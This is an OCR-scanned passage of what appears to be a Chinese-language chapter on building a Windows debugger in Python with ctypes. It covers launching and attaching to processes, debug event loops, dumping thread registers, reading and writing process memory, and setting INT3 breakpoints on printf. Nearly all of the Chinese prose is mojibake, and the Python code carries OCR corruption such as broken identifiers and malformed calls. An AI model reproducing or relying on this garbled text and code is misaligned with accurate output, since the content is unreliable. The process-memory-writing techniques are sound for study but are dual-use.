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a7 A ABRAE o XA R R R R T W s SR e, RO SR TR B U E
EAT 1A .

FIHET ML, BAICE RS 7R SRR R TAE B, % FREMEEET
H—~ Python fi#s, X M3ET Windows 3=, B H2IATH i 2 i g
FNiR .



3
H&shF 5 — windos ik #s

PARMN LT 7 EuRR, —REHEREI—PHEERNR
WIS AR 7. SBHEKIT K windows HIE %, ABATH T —
RHEH NIRE AR B DA By R EARIE ™ M IR E . =

ATH R A X S iR 3B 2R E S04l python R8s . A — AR EE, FRA1AR LREAE
R I)%: 2] PyDbg(Pedram Amini” s ), X2 H Fi Ge40 2 1 5 &7 1 Windows & T
1) Python k%8 . FF Pedram Frll, L AIHEH PyDbg 5E ik 1 HIMARID (EFER %, &
&, %), [FIRRW AT LA 2 5 1 H PyDbg SEILR I 125 o

R TR —ANHRERAT IR, IR S — LR R AR A AR ok . BT EL, 3R
TEIR AR AR S R — DN PTG 11T 8, BRI SIS MM 2] — /N 21T
H1EFE . Windows HJ1H##% 1 (Windows debugging API) $E4E T —ANFEH 4] B0 7 v 58 il

IBAT MR FF AN 2] — R G Z2 0] - 3T 0T — NEFP IR S AE T REAERE Fris
TR Z 1 S A R R RE o X AE 0T B B SACRD I AR H A o BN E] — 4>
B, AXUBGR AT HEAN — A DB AT T ISR N, e RVFRBEL R Sh i 2 A, bt
PRIBGHBR A o AR IELE 73T B3 757 2 FE R H AT IEAESRAT I 7

SR, R MRIRER A S R IX AR T GRS A2 AR, % ol R i 2
PP HIB R KD . 7E Windows FAIE —/N#EFE ] CreateProcessA() BRI, K4 i B bR EfE
XA E, 515 H b FE e K. — > CreateProcessA() i & L RAZIXFE

BOOL WINAPI CreateProcessA(
LPCSTR IpApplicationName,
LPTSTR IpCommandLine,
LPSECURITY_ ATTRIBUTES IpProcessAttributes,
LPSECURITY_ ATTRIBUTES IpThreadAttributes,
BOOL blnheritHandles,
DWORD dwCreationFlags,
LPVOID IpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO IpStartupInfo,
LPPROCESS INFORMATION IpProcessInformation



)i
W XA AR 2 8¢, ANid, 7830 ) AR rh AT T 2 K B0 38 23 20 Ak BN R 38 7 LA

iR, TERPMARLER KGR - MHEEFTEERNSH. IESHE
IpApplicationName,l[pCommandLine,dwCreationFlags,IpStartupInfo, #1 lpProcessInformation .
PR HIZHOT LR E BEE (NULL) o % T3 AN BB VRGBS AT LA A MSDN (TR 2%
EEM). RATHOWANSEN TIRE, FEMTHEF R BREMNEAS EERAREF NS
47, dwCreationFlags (I&EAric) S8IEZ—MFEE, RRBATE BT KR
SEI .. EWADSZS S NS T8 M 2 A 4 K (STARTUPINFO  and
PROCESS_INFORMATION), A& 7R G20, LARES)E T2 HEE L.

( IpStartupInfo : STARTUPINFO 45 #), H TG & 7T H#HEN & & & 8 1%,
IpProcessinformation: PROCESS INFORMATION %54y, FSRTEFEFEG)E G HEWHCE R,
ZEM ARG )

B2 P4 Python C£F my debugger.py A1 my debugger defines.py. FATK G — N
debugger() #HZ WIS MR K. R4, AWML W, BE, w2l
my_debugger defines.py /71 PLJ54Ed .

# my_debugger_defines.py
from ctypes import *
# Let's map the Microsoft types to ctypes for clarity

WORD = ¢_ushort

DWORD =c ulong

LPBYTE = POINTER(c_ubyte)
LPTSTR = POINTER(c_char)
HANDLE =c¢_void p

# Constants

DEBUG_PROCESS = 0x00000001
CREATE NEW_CONSOLE = 0x00000010
# Structures for CreateProcessA() function
class STARTUPINFO(Structure):

_fields_ =
("cb", DWORD),
("lpReserved", LPTSTR),
("lpDesktop", LPTSTR),
("lpTitle", LPTSTR),
("dwX", DWORD),
("dwY", DWORD),
("dwXSize", DWORD),
("dwYSize", DWORD),

("dwXCountChars", DWORD),
("dwYCountChars", DWORD),
("dwFillAttribute",DWORD),

("dwFlags", DWORD),
("wShowWindow", = WORD),



("cbReserved2",  WORD),
("lpReserved2", LPBYTE),

("hStdInput", HANDLE),
("hStdOutput”, ~ HANDLE),
("hStdError", HANDLE),

]
class PROCESS INFORMATION(Structure):

fields =]
("hProcess”,  HANDLE),
("hThread", HANDLE),

("dwProcessId", DWORD),
("dwThreadld", DWORD),

# my_debugger.py
from ctypes import *
from my_debugger defines import *
kernel32 = windll.kernel32
class debugger():
def init (self):
pass
def load(self,path_to_exe):
# dwCreation flag determines how to create the process
# set creation_flags = CREATE NEW_CONSOLE if you want
# to see the calculator GUI
creation_flags = DEBUG_PROCESS
# instantiate the structs
startupinfo = STARTUPINFO()
process_information = PROCESS INFORMATION()
# The following two options allow the started process
# to be shown as a separate window. This also illustrates
# how different settings in the STARTUPINFO struct can affect
# the debuggee.
startupinfo.dwFlags =0x1
startupinfo.wShowWindow = 0x0
# We then initialize the cb variable in the STARTUPINFO struct
# which is just the size of the struct itself
startupinfo.cb = sizeof(startupinfo)
if kernel32.CreateProcessA(path to exe,
None,
None,
None,
None,



creation_flags,

None,

None,

byref{(startupinfo),

byref(process_information)):
print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessld

else:

print "[*] Error: 0x%08x." % kernel32.GetLastError()

BRAEFRA T A4 3 — A 1 4 0 AR ey 2 — N — VDR RE IEH T/E. WA my testpy, &
UEHTTH ) SO HRAE R — AN EH SR T .

#my_test.py

import my_debugger

debugger = my_debugger.debugger()
debugger.load("C:\WINDOWS\\system32\\calc.exe")

W AR 247 EE IDE T3l N BRI, B2 A — A R 2 b
NEFE 4, WIEIRERERE ID (PID), HURLH. WRARA LTI HIT cale.cxe, (RKHRF
THE AR B S . RO RS 40 it H 2 B 7 %5 b, TR AR A 4R AT 1) i
Lo ARRIRATF R R ZEHAT T £ T o AR ZHT, FRATCEIRBN 7 U] 7= A — A e
TR, RIS —ANThRe, M2 — A BT .

T MBI E AR, B TS B E AR . VF 2 PR FH 3 1) oR B0H0 7 A i
ZHy, RN AT AR I BT A S S A AR S IR AT, winl iR 1.
X AT 1 OpenProcess() 7, A H kernel32.dll FERH, JEAYATT:

HANDLE WINAPI OpenProcess(

DWORD dwDesiredAccess,

BOOL bInheritHandle

DWORD dwProcessld

dwDesiredAccess ZH R 1 A 1A AP BT H R A A FEIBR (4982
8% KBk #F root is hack ) o A N E AT L, AT B B PROCESS_ALL ACCESS .
bInheritHandle 241 ¥% B 1% False, dwProcessld 24015 B I 1A ARG AW EFE ID 5 B
AT ZRAF (0 PID. W BB HAT, K3 [B]—> B AR AR B A 4R .

$2 Tk H DebugActiveProcess() pR ZLFf 2 B brdt e :
BOOL WINAPI DebugActiveProcess(
DWORD dwProcessld

)

T a I PID fEN . — B RGN INTABIRT A H AR, HARERE s e



FATH RS O & I A B, ARG R B3 U R 25 T s . R4 10
U WaitForDebugEvent() AMEAZ IR X FH4F . sREZ 0T -
BOOL WINAPI WaitForDebugEvent(

LPDEBUG_EVENT IpDebugEvent,

DWORD dwMilliseconds

H—A2%d8 " DEBUG_EVENT 454, X AMNEEMFR T — MRS, B ANk
B % INFINITE (JERRZ54%), iX#E WaitForDebugEvent() St AHIRE, —HZE45H T —A5H
=2

VR A — A A A SR IBR ) S A 3 R L, TE AR P 4k ST R AT LA S8 AN A
ERAE . MR B TE R 1 RAE, RATA B RALHATH, X & H A
ContinueDebugEvent(). JRAI1T:

BOOL WINAPI ContinueDebugEvent(

DWORD dwProcessld,

DWORD dwThreadld,

DWORD dwContinueStatus

dwProcessId 1 dwThreadld 2% DEBUG EVENT 454 B BIEE 7S, 24 28 4
PR G x, 5k & WaitForDebugEvent() I $AT HIH 5, HERE ID FIZEFE 1D 5t LA
KATGEAEF T« dwContinueStatus 2425 Vi F2 2 4k 823047 (DBG_CONTINUE), &&= 7
#/(DBG_EXCEPTION NOT HANDLED).

T — B, MRS Bk HEFE 1D {545 DebugActiveProcessStop()-

MR XL LS, P RIEAN my debugger 25, ibAIHA B InAT 4B — A
AR DIRE . RN EFTH— AN RIS AR W I 6E 7T B fE BRI G2 B 52 il
AP # . FTHF my debugger.py 8 LA LS,

WIR: TE IS0, O R B #E XAE T debugger defines.py SCfFH, 528 (ARG W]
DA http://www.nostarch.com/ghpython.htm T %%,

#my_debugger.py

from ctypes import *

from my_ debugger defines import *

kernel32 = windll.kernel32

class debugger():

def init (self):

self.h_process = None
self.pid = None



self.debugger active = False
defload(self,path_to exe):

print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessld
# Obtain a valid handle to the newly created process
# and store it for future access
self.h_process = self.open_process(process _information.dwProcessld)

def open_process(self,pid):
h_process = kernel32.0penProcess(PROCESS ALL ACCESS,pid,False)
return h_process
def attach(self,pid):
self.h process = self.open_process(pid)
# We attempt to attach to the process
# if this fails we exit the call
if kernel32.DebugActiveProcess(pid):
self.debugger active = True
self.pid = int(pid)
self.run()
else:
print "[*] Unable to attach to the process."
def run(self):
# Now we have to poll the debuggee for
# debugging events
while self.debugger active == True:
self.get_debug event()
def get debug event(self):
debug_event =DEBUG_EVENT()
continue_status= DBG_CONTINUE
if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
# We aren't going to build any event handlers
# just yet. Let's just resume the process for now.
raw_input("Press a key to continue...")
self.debugger active = False
kernel32.ContinueDebugEvent( \
debug_event.dwProcessld, \
debug_event.dwThreadld, \
continue_status )
def detach(self):
if kernel32.DebugActiveProcessStop(self.pid):
print "[*] Finished debugging. Exiting..."
return True



else:
print "There was an error"

return False

DUAELE A TE T DR R LAASEAE 7 1322 R R 2
#my_test.py
import my_debugger
debugger = my_debugger.debugger()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))
debugger.detach()
FZ LT A BRHEAT I (windows T ):
1. & JHR->18 AT > B 1L P> A>T S
2. A AR AR, IR S BR rP e AR S5 P As
RRvEESLYETNE
4. MR E S| PID £, ik BE->IEFS
5. DR AR IARF (PID) A THI B AE i 1, 285 Fifi OK.
6.4K2 calc.exe KL PID
7HAT my_test.py [FlIN A [ 2 ) PID {%1#45°€ .
8.4 Press a key to continue...¥] FI7E 5 F b (I, & AR TR 2B A o IRBOZ A4 B
AT o IXRPR RS R 1, SR PR R .
9.ERIK) Python #2516 BALARATIORE, MIACK S H AIE R, REEL
10.AEARRE SR AT BLAS 1

R —PJE IS B — RIS TAE, T HMATM my debugger.py HHiERfH:

# raw_input("Press any key to continue...")
# self.debugger active = False

PAEFRMTC 2 YR 1SRG SR ARl AR, DA A B — AN ERE, n—ANigdT
RUBERE, #E T RAETRAG TR SR E 2 = DI RE

3.23k78 CPU Z/720RA

— N D AR B AEAT T B FR AL AR B CPU & A AF AR . A% KA
X REE FATE AR, HATIEEDIT RS2 A4, BURHAl — 2R A AIE R
BRI EI, E e ERIOR W H AR AR ZRRE A0, XA TIREH OpenThread()SEHL.
PR AL R

HANDLE WINAPI OpenThread(
DWORD dwDesiredAccess,
BOOL blnheritHandle,



DWORD dwThreadld
)

XEFLRAE T 15 OpenProcessIZHIRFREL, BR T IX I E PR INAF (thread identifier TID)
$EF| 7 HEREARIRST (PID).

BATL ARG — NPT E IR T WA A2 — N FIER, ARG B IRATAEZE M,
H OpenThread() 3% B & 9 AJ 0K o ik FWF 50 F Wl 78 — > R 48 B 26 #2 (Cenumerate
threads) .

3.2.1 S

N TR AR B a2 0PRAS, BAT LR SRR N B A IEAE IS AT I ZRE . 2
se R BRI BAT R CREBMEHGRZRET 1D, B EPAR Z LN, ThEd
BH—AEFE, 4. SSIX —DIREM 2 — 58 K1 B8 2L CreateToolhelp32Snapshot(), & H
kernel32.dll 3t o XA BREREMES H— AN BERE N BT A AR AL, DU S (DLLs)
MBI, LARBERE AT A HERI S 2. RBUREAaT :

HANDLE WINAPI CreateToolhelp32Snapshot(

DWORD dwFlags,

DWORD th32ProcessID

dwFlags Z b & T BATH BWCER BRI RA (FE, 2R, B, siEi ). XHEIK
I3 E B E B TH32CS_SNAPTHREAD, /2 0x00000004, FRnFATE AR snapshot
HETE S VEM 7L FE . th32ProcessID & N ATE R #E, Aide X xt
TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, TH32CS_SNAPHEAPLIST, and
TH32CS_SNAPALL X JIAM&EHAA I, % TH32CS_SNAPTHREAD ] #2& % A4 F ik (s 1
HYiHH). 4 CreateToolhelp32Snapshot() i F L, #ie ik Bl —AMREEXS R AE, B~
S 11 o 0 DA 4 8 B 22 (1 4 -

— HIRATM IR 3RS T A2 53R, FRATHLRE
Thread32FirstOM = EA1 T« BREE AT -

BOOL WINAPI Thread32First(

HANDLE hSnapshot,

LPTHREADENTRY?32 Ipte
);

hSnapshot %t /& I [ i & CreateToolhelp32Snapshot() £ 15 52 14 A1) 1, Ipte 5 /] —
THREADENTRY32 &5 (AR« XA S5 H4ILE Thread32First()7E i FH BLZh J5 H 33A
7o, HAPEE T RIS — MR E R . S5ME T

typedef struct THREADENTRY32{
DWORD dwSize;
DWORD cntUsage;



DWORD th32ThreadID,;
DWORD th320OwnerProcessID;
LONG tpBasePri;

LONG tpDeltaPri;

DWORD dwFlags;

FEIXAS G 1 A TS 8 (1 & dwSiize, th32ThreadID, A1 th320wnerProcessID 3 NS,
dwSize W Ai7E Thread32First() i Z BikI444k, R B0 {4 B i THREADENTRY32 45 #J1¥)
FKANERATPA T o th32ThreadID F&FA1 241 & BLIX AN FE M TID, X ANSHAT DAk Al i it
ff) OpenThread() B & DLATITEZRE, #EAT AW #R1F. th320wnerProcessID M7 | 24 Hif
LB HEMEN PID. N T HELELEE T RMFE KXW EFHER, FEK
th320wnerProcessID FIMEAN HARGERERT L, AHEE I B¢ T IX A EAL R LA TIEE AR . —HIK
3RS T 56— ADNEAERE S, AT AEE L U8 H Thread32Next() 3R HUHR FE 1 1) T~ — AN S 2%
H. ERIZHA Thread32First()—Ff. A Thread32Next() EL 241 22 1) K o

3.2.2 EFrERAEIR

MAERNCEIRTG T —DNRAERE BEIN, 5 e — PR RI A A 28 e . Xt R
2@t GetThreadContext()KSEHL. [FIFEFRATIHAEA SetThreadContext()ii 28 E AT,

BOOL WINAPI GetThreadContext(

HANDLE hThread,
LPCONTEXT IpContext

);

BOOL WINAPI SetThreadContext(
HANDLE hThread,
LPCONTEXT IpContext

);

hThread Z4{(/& M OpenThread() i [F][FJZFE A4, IpContext 5 7] —> CONTEXT %514,
HAE % T T A4 00E. CONTEXT JEH EE, & XaF:

typedef struct CONTEXT {

DWORD ContextFlags;
DWORD  Dr0;
DWORD Drl;

DWORD Dr2;



DWORD  Dr3;

DWORD  Dré6;

DWORD  Dr7;
FLOATING_SAVE AREA FloatSave;
DWORD  SegGs;

DWORD  SegFs;

DWORD  SegEs;

DWORD  SegDs;

DWORD  Edi

DWORD  Esi;

DWORD  Ebx;

DWORD  Edx;

DWORD  Ecx;

DWORD  Eax;

DWORD  Ebp;

DWORD  Eip;

DWORD  SegCs;

DWORD  EFlags;

DWORD  Esp;

DWORD  SegSs;

BYTE ExtendedRegisterssy MAXIMUM_SUPPORTED EXTENSIONT;

AR I 27 S e XA PR A T, OGRS A R A% . ERA1E T
TAEH, ¥ RERMHBIXAER, B US PR sk,

ERATEREFHE AT Z K my debugger.py K429 e, BEMIMBS 2R FE B AT A7
2RI RE -

#my_debugger.py
class debugger():

def open_thread (self, thread id):
h_thread = kernel32.0penThread(THREAD ALL ACCESS, None,
thread_id)
if h_thread is not None:
return h_thread
else:
print "[*] Could not obtain a valid thread handle."
return False
def enumerate threads(self):
thread _entry = THREADENTRY32()
36 Chapter 3



thread list =[]
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS
_SNAPTHREAD, self.pid)
if snapshot is not None:
# You have to set the size of the struct
# or the call will fail
thread entry.dwSize = sizeof(thread entry)
success = kernel32.Thread32First(snapshot,
byref(thread_entry))
while success:
if thread entry.th320wnerProcessID == self.pid:
thread_list.append(thread entry.th32ThreadID)
success = kernel32.Thread32Next(snapshot,
byref(thread_entry))
kernel32.CloseHandle(snapshot)
return thread_list
else:
return False
def get thread context (self, thread_id):
context = CONTEXT()
context.ContextFlags = CONTEXT FULL | CONTEXT DEBUG REGISTERS
# Obtain a handle to the thread
h thread = self.open_thread(thread id)
if kernel32.GetThreadContext(h_thread, byref(context)):
kernel32.CloseHandle(h_thread)
return context
else:
return False

TR & DAY AT, AEBATEF I BRI TR ThRe .

#my_test.py

import my_debugger

debugger = my_debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

list = debugger.enumerate threads()

# For each thread in the list we want to

# grab the value of each of the registers

Building a Windows Debugger 37

for thread in list:
thread context = debugger.get thread context(thread)
# Now let's output the contents of some of the registers



print "[*] Dumping registers for thread ID: 0x%08x" % thread
print "[**] EIP: 0x%08x" % thread context.Eip

print "[**] ESP: 0x%08x" % thread context.Esp

print "[**] EBP: 0x%08x" % thread context.Ebp
print "[**] EAX: 0x%08x" % thread context.Eax
print "[**] EBX: 0x%08x" % thread context.Ebx
print "[**] ECX: 0x%08x" % thread context.Ecx
print "[**] EDX: 0x%08x" % thread context.Edx
print "[*] END DUMP"

debugger.detach()
PRI T IS, URF R B R 3-1 ORI EE .

Enter the PID of the process to attach to: 4028
[*] Dumping registers for thread ID: 0x00000550
[**] EIP: 0x7c90eb%4

[**] ESP: 0x0007fde0

[**] EBP: 0x0007fdfc

[**] EAX: 0x006ee208

[**] EBX: 0x00000000

[**] ECX: 0x0007fdd8

[**] EDX: 0x7c90eb9%4

[*] END DUMP

[*] Dumping registers for thread ID: 0x000005¢c0
[**] EIP: 0x7c95077b

[**] ESP: 0x0094fff8

[**] EBP: 0x00000000

[**] EAX: 0x00000000

[**] EBX: 0x00000001

[**] ECX: 0x00000002

[**] EDX: 0x00000003

[*] END DUMP

[*] Finished debugging. Exiting...

Listing 3-1: 5N FE 1 CPU /£ 44HHE

KEET U BATBUHERES AEAE (TR SR P A A KRS T I AR R &

BRI AGR . IO IERAT 2 58 B T BA T o8 %O B8 7, RIS 18] SEIL — LE LA
PR AL PR AL T .

3.3 LA AL T



N7 AR FRATT I A B 08 T R R S AR A B AT 3, FRAT 10 20045 BT T i 2% R 8
I PR E, WS AR, [ LB F WaitForDebugEvent() HRE, R 49EHits]—
AR T B, BR [B— AN AL 7 DEBUG _EVENT 458, 2 BT FATT#S 2005 fsix />
S5, BEALERR AR ST T 2, IAETRATIEE P A0 75 2540 B I3 B R T fer A 2R R il A o
DEBUG _EVENT 5& X1 F:

typedef struct DEBUG_EVENT {
DWORD dwDebugEventCode;
DWORD dwProcessld;
DWORD dwThreadld;

union {

EXCEPTION DEBUG INFO Exception;

CREATE THREAD DEBUG INFO CreateThread;
CREATE PROCESS DEBUG _INFO CreateProcessInfo;

EXIT THREAD DEBUG INFO ExitThread;
EXIT PROCESS DEBUG INFO ExitProcess;
LOAD DLL DEBUG _INFO LoadDll;
UNLOAD DLL DEBUG_INFO UnloadDll;

OUTPUT _DEBUG_STRING_INFO DebugString;

RIP_INFO Riplnfo;

hu;

XA EIRZ A HER . dwDebugEventCode J& f EZ 1), BEXRH T 24
{4 WaitForDebugEvent() fi#23| I o R HE T, ZEHKE (union Ju BLAFME 244 KA

M1 . u B8 E 1 dwDebugEventCode $e5E, — X NI R

Event Code
0x1
0x2
0x3
0x4
0x5
0x6
0x7
0x8
0x9

Event Code Value
EXCEPTION DEBUG EVENT
CREATE THREAD DEBUG EVENT
CREATE PROCESS DEBUG EVENT
EXIT THREAD DEBUG EVENT
EXIT PROCESS DEBUG EVENT
LOAD DLL DEBUG EVENT
UNLOAD DLL DEBUG _EVENT
OUPUT DEBUG _STRING EVENT
RIP_EVENT

Table 3-1:1FRFH

Union u Value

u.Exception
u.CreateThread
u.CreateProcessInfo
u.ExitThread
u.ExitProcess
u.LoadDll
u.UnloadDIl
u.DebugString
u.RipInfo

JEIT M %2 dwDebugEventCode f1E , FiEd b R BLRER B 5 2 AR B IAF A 7E u B
A LEAMESAIER, B PAANFAREE, SR S9arkENEHERE. X
efEE, FATREW TR RKEE B FE W I — N LA RAE . L
my_debugger.py il our my test.py A



#my_debugger.py
class debugger():

def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None

def get debug_event(self):
debug_event =DEBUG_EVENT()
continue_status= DBG_CONTINUE

if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE

# Let's obtain the thread and context information
self.h _thread = self.open_thread(debug_event.dwThread
self.context = self.get thread context(self.h_thread

print "Event Code: %d Thread ID: %d" %
(debug_event.dwDebugEventCode, debug_event.dwThre
kernel32.ContinueDebugEvent(
debug_event.dwProcessld,
debug_event.dwThreadld,
continue_status )
#my _test.py
import my_debugger
debugger = my_debugger.debugger()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))
debugger.run()
debugger.detach()

WRAR 2 calc.exe, HirtH K an R ATR:
Enter the PID of the process to attach to: 2700
Event Code: 3 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976



Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 2 Thread ID: 3912
Event Code: 1 Thread ID: 3912
Event Code: 4 Thread ID: 3912

Listing 3-2: 4PN 2| cacl.exe B { F ALY

ETAR gL, RA1145%F ) CREATE PROCESS _EVENT (0x3) 342 55 — N R A 1,
¥ F sk M & — M ) LOAD DLL DEBUG EVENT (0x6) #H f# , R &
CREATE THREAD DEBUG EVENT (0x2) @l & — /™ ¥ & 2 . & &% ot & — 1
EXCEPTION_DEBUG_EVENT (0x1)#1 4544, ‘& H windows ¥ & W s BT 51 K 1, RVFLE
HEFEJE ST S FE IR AS . i — NS F /2 EXIT_THREAD DEBUG_EVENT (0x4), &
HEFE 3912 453 K &=,

BIANFAF AR B, BIANTREEFEWT AL, U SR, BE AR AR (B E
Bl HEMNAXD . X SRR E S, (HREIRA T e P2 26— windows % B 1)
Wr &, FTJF my debugger.py HIALLFACHD:

#my_debugger.py
class debugger():

def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.exception = None
self.exception_address = None

def get debug_event(self):
debug_event =DEBUG_EVENT()

continue_status= DBG_CONTINUE

if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThreadld)
self.context = self.get thread context(self.h_thread)



print "Event Code: %d Thread ID: %d" %
(debug_event.dwDebugEventCode, debug_event.dwThreadld)
# If the event code is an exception, we want to
# examine it further.
if debug_event.dwDebugEventCode == EXCEPTION DEBUG EVENT:
# Obtain the exception code
exception =
debug_event.u.Exception.ExceptionRecord.ExceptionCod
self.exception_address =
debug_event.u.Exception.ExceptionRecord.ExceptionAdd
if exception == EXCEPTION_ACCESS_VIOLATION:
print "Access Violation Detected."
# If a breakpoint is detected, we call an internal
# handler.
elif exception == EXCEPTION_BREAKPOINT:
continue_status = self.exception_handler breakpoint()
elif ec == EXCEPTION_GUARD PAGE:
print "Guard Page Access Detected."
elif ec == EXCEPTION_SINGLE STEP:
print "Single Stepping."
kernel32.ContinueDebugEvent( debug_event.dwProcessld,
debug_event.dwThreadld,
continue_status )

def exception_handler breakpoint():
print "[*] Inside the breakpoint handler."
print "Exception Address: 0x%08x" %
self.exception_address
return DBG_ CONTINUE

W RAREHBATIRAA, K75 )t BB ) e AL P R B T BN R e a5 R . A2
o T AR T AT P A T A AR BB o T SR AT TR AR 1 SEBILIX = A 7] S A I e
Ak BRI 5
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34.1 WA

N7 W E AR A, RATL AR AR S N B RN N AT
ReadProcessMemory() il WriteProcessMemory()SZH. B ATAE® AH1LL:

BOOL WINAPI ReadProcessMemory(
HANDLE hProcess,
LPCVOID IpBaseAddress,
LPVOID IpBuffer,
SIZE T nSize,
SIZE T* IpNumberOfBytesRead

);
BOOL WINAPI WriteProcessMemory(
HANDLE hProcess,
LPCVOID IpBaseAddress,
LPCVOID IpBuffer,
SIZE T nSize,
SIZE _T* IpNumberOfBytesWritten
);

X PR A BR FCAR o 1 R R A U AN B R R I AR N AE . S EC BB AR T
IpBaseAddress J& B 45 5L o F S 1) H Ar i dib,  IpBuffer 45 1] — g2 X, HR$Z Ik
IpBaseAddress ¢ H [ £ #5 8¢ 3 5 N\ IpBaseAddress » nSize s 48 B 5 (1) H 4 KN,
IpNumberOfBytesWritten FHRREUIHS, @it & FRATEAE 05 F0iE — A F I 5 SLbrist 5 1 13k

1o

BUEAEBRATTA T % SELE A W sl U 2 8 5 1o B B0 RS %038, DLSCHRF I ELAN

A BEER AT T 5
#my_debugger.py

class debugger():

def init (self):
self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.breakpoints = {}

defread process memory(self,address,length):

data ="

read_buf = create_string_buffer(length)

count =¢_ulong(0)



if not kernel32.ReadProcessMemory(self.h_process,
address,
read_buf,
length,
byref(count)):
return False

else:
data +=read_bufraw
return data
def write process _memory(self,address,data):
count =c_ulong(0)
length = len(data)
¢ _data=c char p(data[count.value:])
if not kernel32. WriteProcessMemory(self.h_process,

address,
c_data,
length,
byref(count)):
return False
else:
return True

defbp_set(self,address):
if not self.breakpoints.has_key(address):

try:
# store the original byte
original byte = self.read process_memory(address, 1)
# write the INT3 opcode
self.write process memory(address, "\xCC")
# register the breakpoint in our internal list
self.breakpoints[address] = (address, original byte)
except:
return False
return True

DRI A O SR AW T T, FRATR A bl B —MRIRE . — R R ETE
SRECR A T, TRk
A, FRATHHZ A printfOVE ks ZR IR H AR 4. Windows 30 API $2 4L T fai i 1)
TNELUE — DR R IE,  GetProcAddress(), [FFEHEM kernel32.dll S H . XA
BT B F B R — M (—Adll 8 —A
exe ) AN, REH R — AL S T BRATTBOGER 1 BRI AL
Al LA GetModuleHandle() 3k A B (1) AR« JRZ AN



FARPROC WINAPI GetProcAddress(

HMODULE hModule,
LPCSTR IpProcName

);

HMODULE WINAPI GetModuleHandle(
LPCSTR IpModuleName

);

X AE— MRIE W AR PR3 — MR BRI, SR 5 AR R 5 H BN 1 o 2517 3
Hbo AEFRATIE AN — N, SERNIA . FIE] my debugger.py..

my_debugger.py
class debugger():

def func_resolve(self,dll,function):
handle = kernel32.GetModuleHandleA(dll)
address = kernel32.GetProcAddress(handle, function)
kernel32.CloseHandle(handle)

return address

BAEANE S AR, JEA MR printf(). FATEEAEAT H R £ HhhE,
SRJETEX AN b BB — AW 2 SR S Al B EEE DL R A R, deE I Rk AR
A SEPATHEIN . Bl — N Python JHIA printf loop.py, #ii N\ FHIACHS .

#printf_loop.py

from ctypes import *

import time

msvert = cdll.msvert

counter = 0

while 1:
msvert.printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter +=1

BUEE RGBS, PR, £ printf) b i B gl

#my_test.py

import my_debugger

debugger = my debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

printf address = debugger.func_resolve("msvert.dll","printf")
print "[*] Address of printf: 0x%08x" % printf address



debugger.bp set(printf address)
debugger.run()

ILAEFF GBI, 7E iy 217 LIS AT printf loop.py. M\ Windows 1T 454 # 2% HL #1145 python.exe
] PID. #RJ51Z1T my testpy , BEAN PID. 1R4GE BN W % :

Enter the PID of the process to attach to: 4048
[*] Address of printf: 0x77c4186a
[*] Setting breakpoint at: 0x77c4186a

Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

3 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
2 Thread ID:
1 Thread ID:
[*] Exception address: 0x7¢901230

3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3148
3620
3620

[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 3620
Event Code: 1 Thread ID: 3148

[*] Exception address: 0x77c4186a
[*] Hit user defined breakpoint.

Listing 3-3: AbERE AWy 53 A ) S 7

BATE S 2 printf() ) R EEELE 0x77c4186a, SRIG/EX BB EWI S H— s
14 57 5 & F Windows ¢ 1 W7 fURlUR 1R 28— 58 R AR IR M E7E 0x77c4186a, 5 /2 printf()
PR . W7 AR S, HEREE KRG IR . BUAEBRATI AR O & ORI AL, BN
KHC B W R T

3.4.2 TEAFHT A



55 FR SRS (R IR s A T R, S B B A R CPU PR A A ARk S . RATEZ
AR DR VR P 7l A, IR BARR) LBl el A MR EZE W EH LA, 2
FRATIASE FEAE A BT w100 BT i 22 R B DY A W FH P YR K 2 A7 2 R A2 v RS g A 1 o b
R ORFATAE T B AN 2 A7 A2 2 0, 753 DR 7 sl AN B AE FA1 14 B2 ) 1 7 Ak 2

IR IR A HERE B BT 2678, ARG SRIBCEATH) CPU W4 L.l 13 3 N 25 4%
UL, FAIRERS € X DRO % DR3
AR =AY, e Wi, 2 J5IRA7E DR7 254748 AR BRI AL 1 15 B I
R PRI

el YR A Pl lIEEd (N WL A I At oo T8 @ SR v 3 e o G A ot 2
% L0 T R ASE A BT A5 R ) S FRATT R R T R INT L (B 2 2 R A, B AFRAT T3k
S AN 55— A AL P R A IS PR B LR RAT T T A
#my_debugger.py

class debugger():

def init (self):
self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first breakpoint= True

self.hardware breakpoints = {}

defbp_set hw(self, address, length, condition):
# Check for a valid length value
if length not in (1, 2, 4):
return False
else:
